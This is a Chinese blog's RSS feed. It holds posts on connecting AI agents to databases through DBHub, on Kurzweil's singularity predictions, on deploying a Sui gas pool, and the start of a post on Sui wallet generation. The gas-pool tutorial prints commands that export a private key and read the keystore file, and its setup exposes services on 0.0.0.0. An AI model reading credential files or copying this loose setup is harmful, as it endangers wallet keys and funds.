<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Xinmin's Blog</title>
    <link>https://yangxinmin.com</link>
    <description>记录思考，分享所学，留住当下。</description>
    <language>zh-CN</language>
    <atom:link href="https://yangxinmin.com/feed.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>让AI一边看代码一边查数据：我把调试bug的活甩给了它</title>
      <link>https://yangxinmin.com/ai-code-debugging-agent</link>
      <guid isPermaLink="true">https://yangxinmin.com/ai-code-debugging-agent</guid>
      <description>平时开发和测试时，免不了要频繁查询或修改数据库。以往自己开个本地客户端跑几条SQL，顺手也就处理了。 但开始让AI Agent协助写代码后，卡点就出现了：AI能读懂上下文、修改代码甚至跑单元测试，却唯独看不见真实的数据库结构和数据。我必须一次次把DDL或schema提供给它，手动补充字段含义；遇到测</description>
      <content:encoded><![CDATA[<p>平时开发和测试时，免不了要频繁查询或修改数据库。以往自己开个本地客户端跑几条SQL，顺手也就处理了。</p>
<p>但开始让AI Agent协助写代码后，卡点就出现了：AI能读懂上下文、修改代码甚至跑单元测试，却唯独<strong>看不见真实的数据库结构和数据</strong>。我必须一次次把DDL或schema提供给它，手动补充字段含义；遇到测试数据不对，还得自己切回终端写脚本补数据。来回折腾多了，既低效，又打断心流。</p>
<p>为了让AI Agent能够安全、直接地访问数据库，我对比过不少方案，最终选用了<strong>DBHub</strong>。它作为一个常驻服务，将数据库连接统一管理起来，让手头的各种AI工具都能从同一个入口调用。</p>
<h2>DBHub是什么</h2>
<p>DBHub是Bytebase开源的一款数据库MCP（Model Context Protocol）服务器。在Claude Code的官方文档中，连接PostgreSQL的官方示例推荐的正是它。</p>
<p>现在很多AI编码工具都通过MCP协议扩展外部能力。社区里针对数据库的MCP Server不少，但大多只支持单一数据库类型，且生命周期通常绑定在某个具体的编辑器或客户端进程上。</p>
<p>DBHub的不同之处在于：<strong>它是一个常驻运行的 HTTP 服务</strong>。通过Docker启动后，只要支持MCP的工具都能连上来。它原生支持PostgreSQL、MySQL、MariaDB、SQL Server、Oracle和SQLite，并且允许在一份配置中挂载多个不同的数据库实例。</p>
<p>简单来说，过去是每个工具各配各的数据库连接，现在变成了所有AI工具统一走DBHub。</p>
<h2>我为什么选择它</h2>
<p>让AI连接数据库并不只有这一种方式，但把零散的本地进程换成DBHub，主要出于以下几点考虑：</p>
<ul>
<li><strong>一份配置，多处复用</strong>：我平时会交叉使用多种AI工具（例如Codex、OpenCode、Qoder、Antigravity等）。以往每个工具都要重复配一遍连接信息，凭证分散且难维护；现在所有工具只需指向同一个DBHub地址，数据库连接集中管理。</li>
<li><strong>增减数据库无需改动工具端</strong>：当需要新增一个业务库时，只需在DBHub的配置文件中追加一段 <code>[[sources]]</code>，重启容器即可生效，各个AI工具端无需做任何调整。</li>
<li><strong>细粒度的只读保护</strong>：开启<code>readonly = true</code>后，AI只能执行查询类语句（如<code>SELECT</code>、<code>SHOW</code>、<code>DESCRIBE</code>），任何修改数据的操作（如 <code>INSERT</code>、<code>UPDATE</code>、<code>DELETE</code>、<code>DROP</code>）都会在服务端被直接拦截。测试环境若需要生成数据，可以按库单独开放写权限；而生产环境始终保持只读。</li>
<li><strong>自带 Web 控制台</strong>：容器内置了一个轻量网页控制台，平时临时查数或调试SQL，在浏览器里就能直接跑，不必额外安装繁重的桌面客户端。</li>
<li><strong>敏感凭证解耦</strong>：数据库账号密码统一抽离在<code>.env</code>文件中，配置文件仅通过变量引用，避免了凭据随配置误提交的风险。</li>
</ul>
<h2>部署与配置</h2>
<p>通过Docker Compose部署最为轻量，准备<code>docker-compose.yml</code>、<code>dbhub.toml</code>和<code>.env</code>三个文件即可完成拉起。</p>
<h3>1. 编写 <code>docker-compose.yml</code></h3>
<pre><code class="language-yaml">services:
  dbhub:
    image: bytebase/dbhub:1.5.0
    restart: unless-stopped
    init: true
    ports:
      - "127.0.0.1:8100:8080" # 仅绑定本机回环地址，避免向局域网暴露
    volumes:
      - ./:/config
    env_file:
      - .env
    command:
      - "--transport"
      - "http"
      - "--host"
      - "0.0.0.0"
      - "--port"
      - "8080"
      - "--config"
      - "/config/dbhub.toml"
</code></pre>
<blockquote>
<p><strong>提示</strong>：如果数据库运行在你的宿主机上，连接地址可直接使用 <code>host.docker.internal</code>。这是macOS和Windows下Docker Desktop的内置支持；若在Linux环境下，需在服务的配置中增加一行 <code>extra_hosts: ["host.docker.internal:host-gateway"]</code>。</p>
</blockquote>
<h3>2. 编写<code>dbhub.toml</code></h3>
<p>这里以PostgreSQL为例定义数据源与工具行为：</p>
<pre><code class="language-toml">[[sources]]
id = "pg"
type = "postgres"
host = "host.docker.internal"
port = 5432
database = "postgres"
user = "postgres"
password = "${PG_PASSWORD}" # 引用环境变量

[[tools]]
name = "execute_sql"
source = "pg"
readonly = true             # 生产/排查推荐设为true；测试写入时按需开启
max_rows = 1000
</code></pre>
<h3>3. 配置凭据并启动</h3>
<p>在同级目录下创建<code>.env</code>文件，写入密码并调整权限：</p>
<pre><code class="language-bash">echo "PG_PASSWORD=你的真实密码" > .env
chmod 600 .env
</code></pre>
<p>检查端口未被占用后，一键启动容器：</p>
<pre><code class="language-bash">lsof -i :8100
docker compose up -d
curl &#x3C;http://127.0.0.1:8100/healthz>
</code></pre>
<p>终端返回<code>OK</code>，即表示服务已正常就绪。</p>
<h2>接入AI工具并验证</h2>
<p>无论你使用哪款支持MCP的客户端，连接填写的都是同一个服务端点：</p>
<pre><code>&#x3C;http://localhost:8100/mcp>
</code></pre>
<p>各个工具的配置载体略有差异（例如有的支持在界面添加，有的使用JSON或TOML配置文件）。接入完成后，建议让AI依次执行两步验证：</p>
<ol>
<li><strong>列出当前挂载的MCP工具</strong>，确认能识别到<code>execute_sql</code>等方法；</li>
<li><strong>执行一条基础验证语句</strong>：
<ul>
<li>PostgreSQL：<code>SELECT current_database();</code></li>
<li>MySQL / MariaDB：<code>SELECT DATABASE();</code></li>
</ul>
</li>
</ol>
<p>只要能成功返回当前数据库名称，就说明整条链路已经真正打通。</p>
<h2>我主要用它来做什么</h2>
<p>接入数据库之后，我和AI协同的许多环节省去了繁琐的人工介入：</p>
<h3>1. 让AI自主阅读表结构</h3>
<p>遇到涉及数据库的代码任务，不再需要手动提取DDL贴给AI，直接给一条指令：</p>
<blockquote>
<p>“先查看当前数据库的核心表结构，再帮我编写对应的统计逻辑。”</p>
</blockquote>
<p>AI能直接感知真实的表名、字段名和关联约束，编写出的SQL准确率大幅提升。</p>
<h3>2. 自然语言直查数据</h3>
<p>排查逻辑或核对逻辑时，可以直接提问：</p>
<blockquote>
<p>“查询上个月未完成支付的订单总数及主要分布状态。”</p>
</blockquote>
<p>AI自己生成查询、执行并总结结论，免去了我在编辑器、终端和客户端之间来回复制的开销。</p>
<h3>3. 自动化生成测试数据</h3>
<p>在开发测试阶段，可以将测试库临时开放写权限。当缺乏真实测试用例时，让AI根据业务实体与字段约束，直接生成成套且合规的模拟数据，覆盖率往往比手工构造更全面。</p>
<h3>4. 源码与实际数据联合排查</h3>
<p>有些线上或联调问题，仅看代码逻辑并没有破绽，症结往往在于某行特殊数据的边界状态。当AI能够一边阅读源码、一边查询现场数据时，定位隐蔽缺陷的速度明显变快。</p>
<h2>工作流的实际变化</h2>
<p>回看接入DBHub之前，AI编程工具虽然能写代码、改报错，但一碰到数据库就成了“盲盒猜谜”，我不得不充当人肉的数据搬运工与传话筒。</p>
<p>引入独立的DBHub后，最直观的改变是工作重心的转移：</p>
<ul>
<li><strong>容错更具闭环性</strong>：SQL 执行遇阻时，AI可以自己查表、修正类型并重新尝试；</li>
<li><strong>环境完全解耦</strong>：数据库能力不再与具体某一款开发工具强绑定，更换AI工具时无需重复搬迁凭证；</li>
<li><strong>职责更纯粹</strong>：从前频繁在“复制schema”上耗时间，现在只需要聚焦在审查AI最终的SQL逻辑与输出结果上。</li>
</ul>
<h2>实用避坑与安全建议</h2>
<p>实际使用过程中，有几个细节需要留心：</p>
<ol>
<li><strong>类型限制</strong>：目前DBHub主要面向常见关系型数据库，对Redis、MongoDB 等NoSQL暂不支持。</li>
<li><strong>警惕写权限风险</strong>：在开启写权限的情况下，AI具备执行危险指令（如<code>DROP TABLE</code>）的能力。建议始终遵循<strong>最小权限原则</strong>：仅给测试库开写权限，生产库强制保持<code>readonly</code>，且配置的数据库账号本身也只授予必要权限。</li>
<li><strong>改配后建议重启</strong>：虽然服务理论上支持部分热配置，但在使用Docker部署时，直接执行<code>docker compose restart</code>重启容器最为可靠，通常只需几秒钟。</li>
<li><strong>会话缓存刷新</strong>：部分AI客户端会在新会话启动时才拉取一次MCP工具列表。如果在运行途中增改了数据源，建议新建一个会话窗口进行测试。</li>
<li><strong>网络边界控制</strong>：DBHub 默认不设内建身份鉴权，部署时切记仅绑定<code>127.0.0.1</code>，切勿裸露在公网或开放局域网；如有跨机器访问需求，务必通过启动参数配置<code>-auth-token</code>。</li>
</ol>
<p>如果你也经常在终端、数据库客户端与AI之间来回粘贴schema和结果，不妨在本地搭建一个DBHub试试。花费不到半小时，就能让AI真正打通代码与数据之间的断层。</p>
<p>你在使用AI处理数据库任务时有什么心得或踩过的坑？欢迎与我交流。</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Mon, 12 Oct 2026 02:26:10 GMT</pubDate>
    </item>
    <item>
      <title>19年前没人信他的预言，现在越看越像真的</title>
      <link>https://yangxinmin.com/kurzweil-singularity-prediction</link>
      <guid isPermaLink="true">https://yangxinmin.com/kurzweil-singularity-prediction</guid>
      <description>2005年，一个叫雷·库兹韦尔的人写了本书——《奇点临近》，预测到2045年，人类会把大脑连上云端，和AI彻底融合，开启&quot;技术奇点&quot;。当时大多数人觉得他在瞎扯。 现在呢？大语言模型满天飞，自动驾驶、基因测序都在突破。库兹韦尔又出了本新书《奇点更近》，意思是：你看，事情正在按我说的发生，而且比我想的还</description>
      <content:encoded><![CDATA[<p>2005年，一个叫雷·库兹韦尔的人写了本书——《奇点临近》，<strong>预测到2045年，人类会把大脑连上云端，和AI彻底融合</strong>，开启"技术奇点"。当时大多数人觉得他在瞎扯。</p>
<p>现在呢？<strong>大语言模型满天飞，自动驾驶、基因测序都在突破</strong>。库兹韦尔又出了本新书《奇点更近》，意思是：你看，事情正在按我说的发生，而且比我想的还快。</p>
<p>如果把接下来二十年写成故事，那会是相当精彩的一部。我挑几个最震撼的章节分享给你。</p>
<h3>技术怎么越跑越快的？</h3>
<p>核心逻辑是"加速回报定律"。</p>
<p>你可能觉得科技是匀速往前走的，其实不是。<strong>技术进步会自我加速——越先进的技术，越能用来开发更好更便宜的下一代。</strong></p>
<p>看一组数据：
1965年，1美元能买到每秒1.8次计算；2005年变成1200万次；2024年，同样1美元在云端能买到<strong>每秒1300亿次</strong>算力。
你现在花50美元买的入门手机，放在1965年要砸<strong>17亿美元</strong>才能造出来。</p>
<p>算力成本这么塌下来,AI、生物学、纳米技术才能冲起来。</p>
<h3>2029年，AI得装笨才能过关</h3>
<p>第一个关键节点是2029年——<strong>AI通过图灵测试。</strong></p>
<p>意思是,AI的语言理解和推理能力会跟人一样。但有个冷知识：AI到了这个水平，在测试时<strong>得故意表现笨一点</strong>。</p>
<p>为什么？因为它要是一微秒就算出超难的数学题，测试官一眼就看出来它不是人。实际上，当它能完美模拟人类日常对话时，它在科研、编程、医学领域的真实水平，早就超过大部分人类专家了。</p>
<h3>2030年，医学跑赢衰老</h3>
<p>AI不只是帮你写代码、画图，它很快会进到你身体里。</p>
<p>以前发现新药靠碰运气，现在AI介入后，生命科学变成了可以精准编程的信息技术。库兹韦尔预测，到2030年左右，最注重健康的那批人会率先进入**"长寿逃逸速度"**。</p>
<p>什么意思？就是医疗技术帮你延长的寿命，开始超过你变老的速度——<strong>你活一年，科技为你争取的剩余寿命就增加一年多。</strong> 只要熬到那个临界点，理论上你就可能一直活下去。</p>
<h3>2030年代，大脑接入云端</h3>
<p>接下来是最科幻的部分：<strong>人机融合。</strong></p>
<p>不需要开颅。纳米机器人会顺着毛细血管无创进入大脑，把你负责抽象思维的"新皮质"，和云端的虚拟神经网络连起来。</p>
<p>你的大脑不再受限于出生时的物理大小。碰到想不通的难题？直接在云端调用额外算力。就像我们从猿猴进化出额叶皮层一样，这次连接会让人类的理解力和创造力来一次巨大跨越。</p>
<h3>2045年，奇点到来</h3>
<p>故事高潮在2045年——<strong>技术奇点。</strong></p>
<p>纳米机器人和云端算力完美结合后，人类的非生物认知能力会比纯生物大脑强<strong>几百万倍</strong>。</p>
<p>到这个阶段，物质世界也会彻底改变：3D打印和机器人让造房子、制造东西的成本降到极低；你大脑里的思想、记忆、意识，可以在云端<strong>数字备份</strong>。就算肉身出事，你的个体身份还能在数字世界里延续。</p>
<h3>我们正在见证这一切</h3>
<p>在库兹韦尔看来，AI不是来毁灭或取代人类的，而是人类身体和智慧的自然延伸。</p>
<p>听起来像科幻，但在指数增长的曲线面前，这些正在一步步变成现实。技术加速的浪潮已经到了脚下，而我们，正好是第一批亲眼见证这一切的人。</p>
<hr>
<p>如果你也很想读读《奇点更近》这本书，打赏杯咖啡我分享给你（微信：xinmin-yang）。</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Sun, 11 Oct 2026 00:41:13 GMT</pubDate>
    </item>
    <item>
      <title>手把手教你搭建Sui赞助交易服务：让DApp拥有Web2级用户体验</title>
      <link>https://yangxinmin.com/sui-sponsored-transactions</link>
      <guid isPermaLink="true">https://yangxinmin.com/sui-sponsored-transactions</guid>
      <description>说在前面 如果你正在Sui上开发DApp，并考虑在某些场景下为用户免除gas费，比如： - 交易机器人的用户跟单服务 - GameFi中的游戏状态同步和数据上报 - NFT市场的批量上架和管理操作 - DAO治理中的提案投票 - 社交应用中的点赞、评论、转发…… 那么你需要一个Gas Pool服务，</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>如果你正在Sui上开发DApp，并考虑在某些场景下为用户免除gas费，比如：</p>
<ul>
<li>交易机器人的用户跟单服务</li>
<li>GameFi中的游戏状态同步和数据上报</li>
<li>NFT市场的批量上架和管理操作</li>
<li>DAO治理中的提案投票</li>
<li>社交应用中的点赞、评论、转发……</li>
</ul>
<p>那么你需要一个Gas Pool服务，本文正是为你而准备的。</p>
<p>Sui Gas Pool正是为解决这一痛点而生的基础设施。它通过预先准备大量小额SUI资金池，让你可以为用户承担gas费用，将复杂的区块链交易成本完全隐藏在后台，用户只需专注于DApp本身的价值。</p>
<p>本文我将带你在Sui上从零开始搭建一套完整的Gas Pool服务，包括环境配置、服务部署、功能验证和DApp集成等全流程，让你的DApp真正做到对用户零门槛。</p>
<h2>什么是Gas Pool</h2>
<h3>工作原理</h3>
<p>Gas Pool本质上是一个自动化的资金管理系统，它代替用户执行交易，支付Gas并完成交易，用户是无感的。</p>
<p>在Sui Gas Pool方案中，它将大额SUI智能分割成众多小额gas coins，并通过Redis进行状态管理。</p>
<p>当DApp需要为用户支付gas费时，Gas Pool会临时分配合适的gas coins，交易完成后自动回收或更新状态。
这种设计的优势在于：</p>
<ul>
<li><strong>高并发支持</strong>：多个gas coins可以同时被不同交易使用</li>
<li><strong>智能管理</strong>：系统自动处理资金分割和回收</li>
<li><strong>灵活预留</strong>：支持按需预留和超时释放机制</li>
</ul>
<h3>架构组成</h3>
<p>一个完整的Gas Pool服务包含三个核心组件：</p>
<ol>
<li><strong>Redis存储层</strong>：负责存储所有gas coin对象信息和预留状态</li>
<li><strong>Gas Pool服务器</strong>：提供JSON-RPC API接口，处理预留和执行请求</li>
<li><strong>签名模块</strong>：支持内存签名或KMS Sidecar两种方式</li>
</ol>
<blockquote>
<p>KMS Sidecar是一种云端密钥管理服务，私钥存储在云端的安全保险库中（比如AWS KMS），需要签名时通过API请求云端帮你签名。</p>
</blockquote>
<h3>业务价值</h3>
<p>传统区块链DApp的用户流程通常是：<code>获取代币 → 发起交易 → 支付gas → 使用DApp</code>。</p>
<p>有了Gas Pool，流程简化为：<code>连接钱包 → 直接使用</code>。这种改变对用户获取和留存具有显著价值。</p>
<h2>环境准备</h2>
<h3>开发环境要求</h3>
<p>在开始部署之前，确保你的环境满足以下要求：</p>
<ul>
<li><strong>操作系统</strong>：macOS或Linux（我使用的是macOS）</li>
<li><strong>Rust环境</strong>：版本1.80或更高</li>
<li><strong>Docker</strong>：用于运行Redis服务</li>
<li><strong>Git</strong>：用于获取项目代码</li>
<li><strong>Curl</strong>：用于http请求</li>
</ul>
<blockquote>
<p>开发环境安装可参考：<a href="https://docs.sui.io/guides/developer/getting-started/sui-install">https://docs.sui.io/guides/developer/getting-started/sui-install</a></p>
</blockquote>
<h3>Sui网络配置</h3>
<p>本文基于Sui Devnet部署，相关端点信息：</p>
<pre><code>Devnet RPC: &#x3C;https://fullnode.devnet.sui.io:443>
Devnet Faucet: &#x3C;https://faucet.devnet.sui.io/v2/gas>

</code></pre>
<h3>准备赞助地址</h3>
<p>Gas Pool需要一个专用的Sui地址作为资金池。这个地址后续只能用于Gas Pool服务，尽量不做他用，以便审计资金流水。</p>
<pre><code class="language-bash"># 创建新地址
sui client new-address ed25519

# 查看地址列表
sui client addresses

# 切换到devnet
sui client switch --env devnet

# 切换到新地址
sui client switch --address &#x3C;your-address>

# 充值SUI：devnet通过水龙头获取测试SUI，主网则通过其他途径获取
sui client faucet

# 或
# curl --location --request POST '&#x3C;https://faucet.devnet.sui.io/v2/gas>' \\
# --header 'Content-Type: application/json' \\
# --data-raw '{
#     "FixedAmountRequest": {
#         "recipient": "your-address"
#     }
# }'

</code></pre>
<p>创建地址后，记录好地址和对应的别名，后续配置会用得上。</p>
<h2>服务部署</h2>
<h3>获取项目代码</h3>
<p>首先，我们下载Sui Gas Pool项目代码：</p>
<pre><code class="language-bash">cd ~/workspace/rustproject

git clone &#x3C;https://github.com/MystenLabs/sui-gas-pool.git>
cd sui-gas-pool

</code></pre>
<h3>编译项目</h3>
<pre><code class="language-bash"># 更新依赖
cargo update

# 编译项目
cargo build --release

</code></pre>
<p>编译完成后，在<code>target/release/</code>目录下会生成两个关键程序：</p>
<ul>
<li><code>sui-gas-station</code>：主服务程序</li>
<li><code>tool</code>：辅助工具集</li>
</ul>
<h3>部署Redis服务</h3>
<p>由于Gas Pool依赖Redis来存储状态信息。这里我使用Docker来快速启动一个Redis实例：</p>
<pre><code class="language-bash">docker run -d --name redis-server-01 \\
  -p 6379:6379 \\
  redis:7.2.4 \\
  redis-server

</code></pre>
<p>验证Redis服务状态：</p>
<pre><code class="language-bash">docker exec redis-server-01 redis-cli ping
# 应该返回: PONG

</code></pre>
<blockquote>
<p>如果你在同一台主机上部署了多个gas pool服务，注意要区分不同的redis服务，否则执行交易时可能会产生冲突。</p>
</blockquote>
<h2>配置文件设置</h2>
<h3>生成配置模板</h3>
<p>使用项目提供的工具生成基础配置：</p>
<pre><code class="language-bash">./target/release/tool generate-sample-config --config-path sample.yaml

</code></pre>
<h3>配置参数详解</h3>
<p>根据你的环境调整<code>sample.yaml</code>配置文件：</p>
<pre><code class="language-yaml">---
signer-config:
  local:
    keypair: "你的Base64编码KeyPair"    # 私钥配置 从keystore获取
rpc-host-ip: 0.0.0.0
rpc-port: 9527                    # RPC服务端口
metrics-port: 9184                # 监控指标端口
gas-pool-config:
  redis:
    redis_url: "redis://127.0.0.1:6379"              # Redis连接URL
fullnode-url: "&#x3C;https://fullnode.testnet.sui.io:443>"  # Sui节点
coin-init-config:
  target-init-balance: 100000000    # 每个gas coin目标余额(MIST)
  refresh-interval-sec: 86400       # 资金检查间隔(秒)
daily-gas-usage-cap: 1500000000000  # 每日使用上限
advanced-faucet-mode: false         # 控制是否启用高级水龙头模式，设为false使用标准模式

</code></pre>
<h3>获取私钥配置</h3>
<p>从Sui客户端导出私钥用于配置：</p>
<pre><code class="language-bash"># 导出指定地址的私钥
sui keytool export --key-identity &#x3C;your-address>

# 或直接查看keystore文件
cat ~/.sui/sui_config/sui.keystore

</code></pre>
<p><strong>重要提醒</strong>：</p>
<ul>
<li><code>keypair</code>配置必须使用数组格式</li>
<li><code>target-init-balance</code>单位为MIST（1 SUI = 10^9 MIST），建议将单个gas coin设置为0.1 SUI（100,000,000 MIST）</li>
</ul>
<h2>服务启动与验证</h2>
<h3>设置认证令牌</h3>
<p>Gas Pool使用环境变量进行API认证：</p>
<pre><code class="language-bash">export GAS_STATION_AUTH="your-secret-token"

</code></pre>
<p>这个令牌可以是任意字符串，用于保护API访问安全。</p>
<h3>启动服务</h3>
<p>完成配置后，我们执行以下命令启动Gas Pool服务：</p>
<pre><code class="language-bash">./target/release/sui-gas-station --config-path sample.yaml

</code></pre>
<p>服务启动成功后，你会看到类似的日志输出：</p>
<pre><code class="language-bash">INFO sui_gas_station::command: Metrics server started at 0.0.0.0:9184
INFO sui_gas_station::command: Sponsor addresses: [0xaaaaa330ccb7c395bb6f6aae97fa437f15d80e3070709c16887527e353debc28]
INFO sui_gas_station::storage::redis: Number of available gas coins in the pool: 2254, total balance: 227771534880
INFO sui_gas_station::rpc::server: listening on 0.0.0.0:9527

</code></pre>
<p>从以上日志我们可以得知：</p>
<ul>
<li>监控服务已在端口<code>9184</code>启动</li>
<li>识别到赞助地址和可用资金</li>
<li>Gas pool已初始化完成</li>
<li>RPC服务正在端口<code>9527</code>监听</li>
</ul>
<p>服务启动成功后，我们来验证一下核心功能是否正常工作。</p>
<h3>功能验证</h3>
<h3>健康检查</h3>
<pre><code class="language-bash">curl -X GET &#x3C;http://localhost:9527/>
# 正常响应: OK

</code></pre>
<pre><code class="language-bash">curl -X GET &#x3C;http://localhost:9527/version>
# 正常响应: 0.4.0-bf5b05c8da9e-dirty

</code></pre>
<pre><code class="language-bash">curl -X GET &#x3C;http://localhost:9527/v1/support_address> \\
  -H "Authorization: Bearer your-secret-token"

# 正常响应: {"sponsor_addresses":["0xaaaaa330ccb7c395bb6f6aae97fa437f15d80e3070709c16887527e353debc28"],"error":null}

</code></pre>
<h3>Gas预留功能测试</h3>
<pre><code class="language-bash">curl -X POST &#x3C;http://localhost:9527/v1/reserve_gas> \\
  -H "Content-Type: application/json" \\
  -H "Authorization: Bearer your-secret-token" \\
  -d '{
    "sponsor_address": "0xaaaaa330ccb7c395bb6f6aae97fa437f15d80e3070709c16887527e353debc28",
    "gas_budget": 50000000,
    "reserve_duration_secs": 600
  }'

</code></pre>
<p>成功的响应应该包含预留ID和对应的gas coins信息，如下：</p>
<pre><code class="language-json">{
	"result": {
		"sponsor_address": "0xaaaaa330ccb7c395bb6f6aae97fa437f15d80e3070709c16887527e353debc28",
		"reservation_id": 3,
		"gas_coins": [{
			"objectId": "0x0181e9d2f99403b6f9aff47fa1285e28698e2de8333244a1a1df45560d05a3aa",
			"version": 795,
			"digest": "MdV11RzzHoKdUDX3e5NGAt4sGvbR9BqXeZMM98aKAeB"
		}]
	},
	"error": null
}

</code></pre>
<h2>DApp集成指南</h2>
<h3>赞助交易流程</h3>
<p>一个典型的赞助交易流程包含以下步骤：</p>
<ol>
<li><strong>交易构建</strong>：DApp后端构建不包含gas信息的交易</li>
<li><strong>Gas预留</strong>：向Gas Pool请求预留适量的gas coins</li>
<li><strong>交易完善</strong>：将预留的gas coins添加到交易中</li>
<li><strong>用户签名</strong>：用户对完整交易进行签名确认</li>
<li><strong>交易执行</strong>：通过Gas Pool提交并执行已签名的交易</li>
<li><strong>状态更新</strong>：系统自动处理gas coins的状态变更</li>
</ol>
<h3>Node.js集成示例</h3>
<p>以下是Gas Pool集成的主要代码：</p>
<pre><code class="language-jsx">const { Ed25519Keypair } = require('@mysten/sui/keypairs/ed25519');
const { Transaction } = require('@mysten/sui/transactions');
const { SuiClient } = require('@mysten/sui/client');

class SuiGasPoolDemo {
    constructor() {
        this.client = new SuiClient({ url: '&#x3C;https://fullnode.testnet.sui.io:443>' });
        this.gasPoolUrl = '&#x3C;http://localhost:9527>';
        this.authToken = 'your-secret-token';
        this.sponsorAddress = 'your-sponsor-address';
    }

    // 1. 预留Gas
    async reserveGas(gasBudget = 50000000, durationSecs = 600) {
        const response = await fetch(`${this.gasPoolUrl}/v1/reserve_gas`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'Authorization': `Bearer ${this.authToken}`
            },
            body: JSON.stringify({
                sponsor_address: this.sponsorAddress,
                gas_budget: gasBudget,
                reserve_duration_secs: durationSecs
            })
        });
        const data = await response.json();
        return data.result;
    }

    // 2. 创建交易
    async createTransaction(userKeypair, gasReservation) {
        const txb = new Transaction();
        txb.moveCall({
            target: '0x2::clock::timestamp_ms',
            arguments: [
                txb.sharedObjectRef({
                    objectId: '0x6',
                    initialSharedVersion: 1,
                    mutable: false
                })
            ]
        });

        // ...

        return await txb.build({ client: this.client, skipGasEstimation: true });
    }

    // 3. 执行交易
    async executeTransaction(reservationId, txBytes, signature) {
        const response = await fetch(`${this.gasPoolUrl}/v1/execute_tx`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'Authorization': `Bearer ${this.authToken}`
            },
            // ...
        });
        return await response.json();
    }
}

</code></pre>
<p><strong>关键要点</strong>：</p>
<ul>
<li>使用<code>@mysten/sui</code> SDK构建交易</li>
<li>通过<code>setGasOwner()</code>设置sponsor地址</li>
<li>预留Gas → 构建交易 → 用户签名 → 执行交易</li>
</ul>
<p><strong>依赖安装</strong>：</p>
<pre><code class="language-bash">yarn add @mysten/sui

</code></pre>
<p><strong>完整示例项目</strong>：
上述代码的完整可运行版本，我打包放在了我的<strong>知识星球</strong>，感兴趣的同学可以自取。</p>
<p>该项目包含：</p>
<ul>
<li>完整的Gas Pool集成示例</li>
<li>预编译的Gas Pool服务</li>
<li>详细的使用说明</li>
<li>一键运行脚本</li>
</ul>
<h3>最佳实践建议</h3>
<p>在集成Gas Pool到生产环境时，建议遵循以下最佳实践：</p>
<ul>
<li><strong>预留时间设置</strong>：为用户签名留出充足时间，建议至少5分钟</li>
<li><strong>错误处理</strong>：实现完善的错误处理和重试机制</li>
<li><strong>监控告警</strong>：监控gas coins余额，及时补充资金</li>
<li><strong>安全考虑</strong>：定期轮换API认证令牌，限制访问来源</li>
</ul>
<h2>运维监控</h2>
<h3>监控指标</h3>
<p>Gas Pool在端口<code>9184</code>提供Prometheus格式的监控指标：</p>
<pre><code class="language-bash">curl &#x3C;http://localhost:9184/metrics>

</code></pre>
<p>关键指标包括：</p>
<ul>
<li>可用gas coins数量</li>
<li>总余额状态</li>
<li>预留使用情况</li>
<li>API调用统计</li>
<li>错误率分析</li>
</ul>
<h3>日常维护</h3>
<p><strong>资金管理</strong>：</p>
<ul>
<li>监控资金池余额，设置告警阈值</li>
<li>及时向赞助地址充值，系统会自动检测并分割新资金</li>
<li>根据业务增长调整<code>daily-gas-usage-cap</code></li>
</ul>
<p><strong>性能优化</strong>：</p>
<ul>
<li>根据并发需求调整<code>target-init-balance</code></li>
<li>优化<code>refresh-interval-sec</code>设置，平衡检测频率和性能</li>
<li>在高负载情况下考虑部署多实例</li>
</ul>
<p><strong>安全维护</strong>：</p>
<ul>
<li>定期轮换API认证令牌</li>
<li>监控异常gas消耗模式</li>
<li>实施适当的访问控制和限流策略</li>
</ul>
<h2>写在最后</h2>
<p>现在，你已经拥有了一套完整的Sui Gas Pool服务，可以开始为用户提供真正无缝的交易体验了。</p>
<p>无论你的应用场景是自动化交易、游戏数据上报，还是NFT批量操作，用户都能专注于核心功能，而不再被gas费问题困扰。这种体验上的提升，往往能为你的项目带来意想不到的用户增长。</p>
<p>上线前记得做好充分测试和监控准备。如果你在部署过程中遇到问题，欢迎加我微信一起学习交流。</p>
<p>祝你的DApp用户体验更上一层楼！</p>
]]></content:encoded>
      <category>公链实战</category>
      <pubDate>Sat, 02 Aug 2025 15:07:22 GMT</pubDate>
    </item>
    <item>
      <title>靓号钱包开发记：一文搞懂Sui钱包的生成机制</title>
      <link>https://yangxinmin.com/sui-vanity-wallet-generation</link>
      <guid isPermaLink="true">https://yangxinmin.com/sui-vanity-wallet-generation</guid>
      <description>说在前面 在区块链世界里，钱包既是资产的钥匙，也是我们与DApp打交道的入口。 最近我在做一个基于Sui的靓号钱包生成器（比如生成0x666…888这种钱包地址），过程中踩了不少坑。也正因为这些坑，我开始深入研究Sui钱包的生成机制，意外发现了不少有趣的底层细节。 平时我主要在以太坊生态中开发，因此</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>在区块链世界里，钱包既是资产的钥匙，也是我们与DApp打交道的入口。</p>
<p>最近我在做一个基于Sui的靓号钱包生成器（比如生成<code>0x666…888</code>这种钱包地址），过程中踩了不少坑。也正因为这些坑，我开始深入研究Sui钱包的生成机制，意外发现了不少有趣的底层细节。</p>
<p>平时我主要在以太坊生态中开发，因此这篇文章也尝试从以太坊钱包的角度出发，结合实际代码和开发经验，梳理一下Sui钱包的技术差异，也分享给你。</p>
<h2>🌟 Sui钱包 vs 以太坊钱包</h2>
<h3>相似的起点，不同的路径</h3>
<p>从表面看，Sui和以太坊的钱包地址都以<code>0x</code>开头，看起来像是同一套体系。但细心的你就会发现：</p>
<pre><code>以太坊地址: 0x742d35Cc6285590D93a62a6A6C4aD39BE1ad5AB7 (40个字符)
Sui地址:   0x773ac487d4372b6dd40feae15d526d1aba7899f6d197a20476c59701cc42ada5 (64个字符)

</code></pre>
<p>一个是<code>20</code>个字节，一个是<code>32</code>个字节，这个差异不仅是长度问题，更是底层密码学架构的不同。</p>
<h3>密码学基础的选择</h3>
<p><strong>以太坊的选择：</strong></p>
<ul>
<li>椭圆曲线：<code>secp256k1</code>（与比特币同款）</li>
<li>哈希算法：<code>Keccak256</code></li>
<li>密钥派生：<code>BIP32/BIP44</code>标准</li>
</ul>
<p><strong>Sui的创新：</strong></p>
